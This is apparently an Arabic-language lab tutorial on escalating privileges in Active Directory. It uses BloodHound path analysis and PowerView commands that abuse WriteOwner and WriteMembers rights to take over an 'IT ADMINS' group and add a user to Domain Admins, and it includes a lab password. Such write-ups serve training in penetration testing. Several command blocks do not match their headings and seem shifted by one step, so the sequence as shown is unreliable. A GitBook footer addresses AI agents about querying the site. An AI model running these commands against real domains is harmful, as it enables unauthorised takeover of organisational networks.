> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md).

# التحليل باستخدام BloodHound

بعد إنشاء الكائنات القابلة للاستغلال، يمكنك إعادة تشغيل تجميع SharpHound:

{% code overflow="wrap" %}

```powershell
 . ./SharpHound.exe
```

{% endcode %}

<figure><img src="/files/fb7b5e031eaa937ed48ac21f5ec8065af432d967" alt=""><figcaption></figcaption></figure>

يقوم SharpHound بإنشاء `.zip` الملف.

ثم شغّل BloodHound:

{% code overflow="wrap" %}

```powershell
bloodhound --no-sandbox &
```

{% endcode %}

ثم نستورد `.zip` الملف إلى BloodHound.

بعد الاستيراد، يمكننا رؤية:

* مستخدمين جدد؛
* مجموعات جديدة؛
* قوائم التحكم بالوصول الجديدة؛
* مسارات الامتياز؛
* العلاقات بين الكائنات.

<figure><img src="/files/97f0a768e5a8e1fce46c2163799e63e2e54fe292" alt=""><figcaption></figcaption></figure>

### العثور على مسار إلى Domain Admin

<figure><img src="/files/c7b206a24ac7221b0699087e179e53266ee51413" alt=""><figcaption></figcaption></figure>

في BloodHound، نستخدم التحليل:

{% code overflow="wrap" %}

```bash
العثور على أقصر المسارات إلى Domain Admins
```

{% endcode %}

<figure><img src="/files/2acc50a941945e59f1019b4eadb265e78bafb2d3" alt=""><figcaption></figcaption></figure>

يجد هذا الاستعلام أقصر المسارات إلى مجموعة مسؤولي النطاق.

في المختبر، يعرض BloodHound على سبيل المثال مجموعة:

```bash
IT ADMINS
```

<figure><img src="/files/3d2218435b4dbd7bae273f82c420bef91e9edd57" alt=""><figcaption></figcaption></figure>

تحتوي هذه المجموعة على عدة مستخدمين، مثل:

```bash
Deidre Corry
Lisette.pru
Gypsy.nelle
```

<figure><img src="/files/5192760718621b88a3ecdd4456cc2944db6cfbde" alt=""><figcaption></figcaption></figure>

يمكننا بعد ذلك تحليل العلاقات بين المجموعات، على سبيل المثال:

```wasm
Project Management -> IT ADMINS -> Domain Admins
```

الهدف هو فهم كيف يمكن لخطأ في تهيئة الأذونات أن يؤدي إلى مجموعة ذات امتيازات.

<figure><img src="/files/02af217e57968a1627ad4d451e7d2e6eb56de1a2" alt=""><figcaption></figcaption></figure>

### استغلال التهيئة الضعيفة لـ ACL

> لا تُنفَّذ هذه الخطوة إلا في مختبر مُصرَّح به.

في هذا السيناريو، المستخدم `monica.cora` لديه مسار قابل للاستخدام إلى المجموعة:

```
IT ADMINS
```

سنستخدم صلاحياتنا للسيطرة على هذه المجموعة، ثم ننتقل نحو مجموعة أكثر امتيازًا.

<figure><img src="/files/028a4d0648e9073a94f4bf575a2e6634b0f9e6fe" alt=""><figcaption></figcaption></figure>

### الاتصال بالمستخدم monica.cora

<figure><img src="/files/88d918c105517ef66d0287d628265779780bab6c" alt=""><figcaption></figcaption></figure>

نتصل بالمستخدم:

{% code overflow="wrap" %}

```
monica.cora
```

{% endcode %}

كلمة المرور المستخدمة في المختبر:

```
Password123$
```

نفتح جلسة PowerShell بهذا المستخدم:

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">runas /user:whoami/monica.cora /netonly powershell

<strong>. C:/Users/user1/Desktop/PowerView.ps1
</strong></code></pre>

الشرح:

* `runas` يبدأ برنامجًا باستخدام مستخدم آخر؛
* `/netonly` يستخدم هذه الاعتمادات للوصول إلى الشبكة فقط؛
* `powershell` يفتح جلسة PowerShell جديدة.

### تحميل PowerView

في جلسة PowerShell الجديدة:

{% code overflow="wrap" %}

```bash
Set-DomainObjectOwner -Identity "IT ADMINS" -OwnerIdentity monica.cora
```

{% endcode %}

يحمّل PowerView في `monica.cora`جلسة.

<figure><img src="/files/5781d6493c4aa4884ca434d6a12fc826cda37262" alt=""><figcaption></figcaption></figure>

### استغلال صلاحية WriteOwner

الـ **WriteOwner** تتيح لك هذه الصلاحية تغيير مالك كائن في Active Directory.

في هذا السيناريو، `monica.cora` يصبح مالك المجموعة:

```
IT ADMINS
```

<figure><img src="/files/1e1fbfbe6647b8a67c885e7ff4ce11ba6dda12fe" alt=""><figcaption></figcaption></figure>

الأمر:

{% code overflow="wrap" %}

```powershell
Add-DomainObjectAcl -TargetIdentity "IT ADMINS" -Rights WriteMembers -PrincipalIdentity monica.cora
```

{% endcode %}

بعد هذه الخطوة، يصبح مالك الكائن:

```
WHOAMI/monica.cora
```

<figure><img src="/files/7a416d3daece3d8d94e9a533614078bb8db96898" alt=""><figcaption></figcaption></figure>

### تمت إضافة صلاحية WriteMembers

كونك مالكًا لكائن يتيح لك عمومًا تعديل DACL الخاصة به.

لذلك نضيف إلى `monica.cora` صلاحية تعديل أعضاء `IT ADMINS` المجموعة.

{% code overflow="wrap" %}

```powershell
Add-DomainGroupMember -Identity 'IT ADMINS' -Members 'monica.cora'
```

{% endcode %}

هذه الصلاحية تسمح `monica.cora` بإضافة أعضاء إلى `IT ADMINS` المجموعة.

<figure><img src="/files/6fd822026daf3cea9848a7c2475d9f4f0d5b9028" alt=""><figcaption></figcaption></figure>

### تمت إضافة monica.cora إلى مجموعة IT ADMINS

نضيف الآن `monica.cora` إلى المجموعة:

{% code overflow="wrap" %}

```powershell
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'monica.cora'
```

{% endcode %}

للتحقق:

```wasm
Get-DomainGroupMember -Identity "IT ADMINS" | select MemberName
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
